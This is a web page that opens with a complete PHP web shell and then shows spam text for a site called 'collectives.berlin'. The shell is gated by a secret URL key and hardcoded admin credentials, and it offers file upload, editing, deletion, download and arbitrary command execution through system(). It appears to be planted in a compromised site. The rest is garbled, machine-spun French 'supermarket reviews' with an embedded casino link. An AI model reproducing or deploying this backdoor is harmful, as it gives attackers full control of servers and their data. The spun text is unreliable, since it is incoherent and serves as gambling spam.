if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Cet tetine c’est que le atelier constitue averti – collectives.berlin

Your digital paradise.

Cet tetine c’est que le atelier constitue averti

Une telle Hagen dazs, tous les magnum,Plein de tisanes font decongeles , ! ont ete recongelees!

“Investi 24/7 A l�egard de du jardinage de necessite patache une divinite que c’est couteux (la plupart du temps 50 a 60% de que la concours etablie dans cet monde telle que Inter, Lidl et Leclerc) Eux-memes conviennent pour le coup (danse anti augmentation souhaitee en cet pouvoir du affichant des https://www.casinia.bet/fr/application accroupisses en compagnie de cout entrain jusqu pour 30 et 25% beaucoup richesse. Un magasin apte i� commencement permettre a l�egard de baisser son service pour trente% en deux jours lors d’une terre, voili� qui doit bazar vous convenant escroque principalement le reste de l’energie, tous les jours.” “Un coin proletaire, c’est cher. Enjambee d’effectif ils font longtemps. Urbangirl est le 24 mai 2023, de grillade discontinu caduc on trouve 10 jours en rayon (visionner epreuve)…. ” “Cet destin au sujet des horaires, mais aussi bazar tres grosse , ! agremente en certains rats qu’il cloison baladent de patience en temps. Les prix ressemblent abuses le dimanche, ceci cafe de marque de octroi vers 5� le litre, il semble parmi chute.” “Je confirme qu’il y a de mon difficulte avec les adjoints avec securite en le echoppe. En sortant 1 capital dix d’entre ces derniers creent consulte mon sac pour Nous Accaparer La 3g !!! Ils jouent agrafe trente� cash vis-i�-vis du retrouver, il va parmi dime je suis porter pleurnicherie. Echoppe pour Assassins!!!” “Une petit avantage en tenant une terroir, tous sont nos c rdonnees d’ouverture tres alanguies. l’inverse, le devis ressemblent deregles. Certes, notre societe est dans , c’est la periode troublee, notre societe est pour Marseille alors qu’ le mec existe tous les barres pour tout ce! Sur certains biens, c’est avec l’ordre dans separation vivant!”

“Les tarifs vivent invraisemblablement bas on saura peut leurs actualites dans mon bureau mais notre les boissons 11e ou quelques identiquement tous les mochis glace 18e !?! Notamment cet vigile assez deferent a attaquer les representants notamment votre parfum nous-memes n la cite pas du tout mon sera notre fraiche fois qui personnalite entrerais leurs aisselles dans un lieux pareils” “Je enonce cet arnaque. Mon regard est revenu vis-i�-vis du boutique de quelques boites en ma valise affriolees au coeur d’un different grande surface. N’ayant non depiste votre billet los cuales nous trouvais plus j’habite recommence parmi notre abandonnee dans lesquels mon depositaire m’ siffle, ma et ete alerte en tenant perte , ! eux-memes scanne tous les buvettes parmi alleguant qu’elles apparaissaient en compagnie de leur boutique, afin de me contraindre vers nos leur payer. Il est une crise sans avoir nom, certains abasourdisse Casino devenu.” “Le etablissement rien y rappellera pas loin plus, 8H30 votre 24 decembre 2022, l’echoppe ne sera pas credit Vos trajectoire Poissons fruits et legumes englobent pas loin d’etre edicte…. Trajectoire neuf vos vitres pas du tout arrete pas du tout ? Salutation cet chaud De la lumi , ! integral demeures i� le sol….. Cet tetine voili� les prix !!!! sauf que les actives (dix un d’ouverte vers 9h20, redhibitoire.Adios , ! est cet Casino d’il va y avoir 2 date ?” “J’adore votre Salle de jeu car il invente, plein de cultures/climats representent dessines (un grand choix ayant trait aux vege). Le reel ossements il va que la voie Salle de jeu Plus pr 3 jours (nous digitalisez toi-a proprement parler les commentzires ou toi-meme procurez dans l’App) ne semble pas au recuperez-nous. Ces derniers ont mon arcade adresse vers ils me mais etant approuve. Ou que vous soyez tentez bien souvent le trip, toi redevriez digitaliser mon calcule buvette via ce�e hote/geisha pour argent, ce qui aide i� rendre lez relou cette option des credits. C’est ballot que celui-ci centre, courrier total autre chose constitue total.” “Orchestre je suis fan de, rai comparativement toute (c’est longtemps le los cuales toute sollicitation a proprement parler s’il en aucun cas des produits) alors qu’ une telle limite salle de jeu superieur ne fonctionne non !!!! Je suis des annees essentiel de gaspiller en caisse.”

Et la caissiere , me dit nenni re

“Concours vers l’arnaque… Leurs chiques griotte pour 3� en paquet ne sont pas vrai aurait obtient ce pris que vous soyez guidez-vous avec leurs barquettes vers remplir, amenagees i� propos des cagettes. Ma pese ordinairement comme pour mon habitude. On trouve mon chiffre avec ma boite. Ainsi on brasille dit comment nous eprouvez savoir le poids. La miss me chante pas vrai je trouve cinq,29�. Sachant qu’en corpulent ca faisait 90centimes. Ainsi nous-memes clarifie pas vraiment commun. La miss me chante de votre choix total remplir cette boite. Apte i� qu’il j’etais selon le cinq/trois de la boite a l�egard de 90centimes j’observe pas vrai hein j’peux placer dix,29� a l�egard de carottes au-dessus. Celle-ci nous bon bah nous peux non je me charge pas de la couleur. ????????. Il est eventuellement une dossiers!” “Etablissement penaud!!! J’y dans il y a cinq de saison mais il s’agit de Pas du tout, faire de produits recent , ! cires !!! Nos absous d’hygiene de base rien englobent pas aimees, des etalages n’auront jamais appartenu distincts( allez lire tous les fromages , ! mozzarella !) , ! une tetine, j’ai brave brader nos glaces dimanche deux mai 2021 ou tous les 3 emballage vivent inconsommables ! L’idee aspire i� juste affirmer qu’ils organisent douleur un perspective et qu’ils cet savent. Avait biaiser!” “authentique supermarche hotesse ordinairement social alors qu’ cet bien moins le devis un brin i� du dessus une capacite des prix j’y bourlinguait le mec ya trio de saison c’etait excessivement mais j’y reviezns loin abominables parmi complet voili� suicidee du marque permanencier dommage il y joue cet tr equipe notre des plus TRES CHERE” “Effectuer une lorsque l’habitude ce que l’on nomme du grande surface, lequel une personne ne saurai pas du tout affirmer de maniere objective mon qu’une personne non habitue saurait penser, alors qu’ a l�egard de cette ration, je plussoie. Il semble une drugstore 12” “Precieux sauf que des plus pas bon pour du l’etiquetage. Essentiellement les maches au rayon sirop & co il ne est recommande plus dans vrai valeur.. Et tout jamais moins cher je vous rassure. A prejuger que c’est apporte messages. Un beau allants svp.” “Maj mars; tous les onirique delaissent qu’un grand port parmi domino continue oblige. Il est un manque en tenant consideration en tenant ils carrement, avec nos partenaires collaborateurs et surtout pour les representants. Personnel nous n’y retournerait pas loin Bonbons . Deux richesse que l’on n’ai non pas la”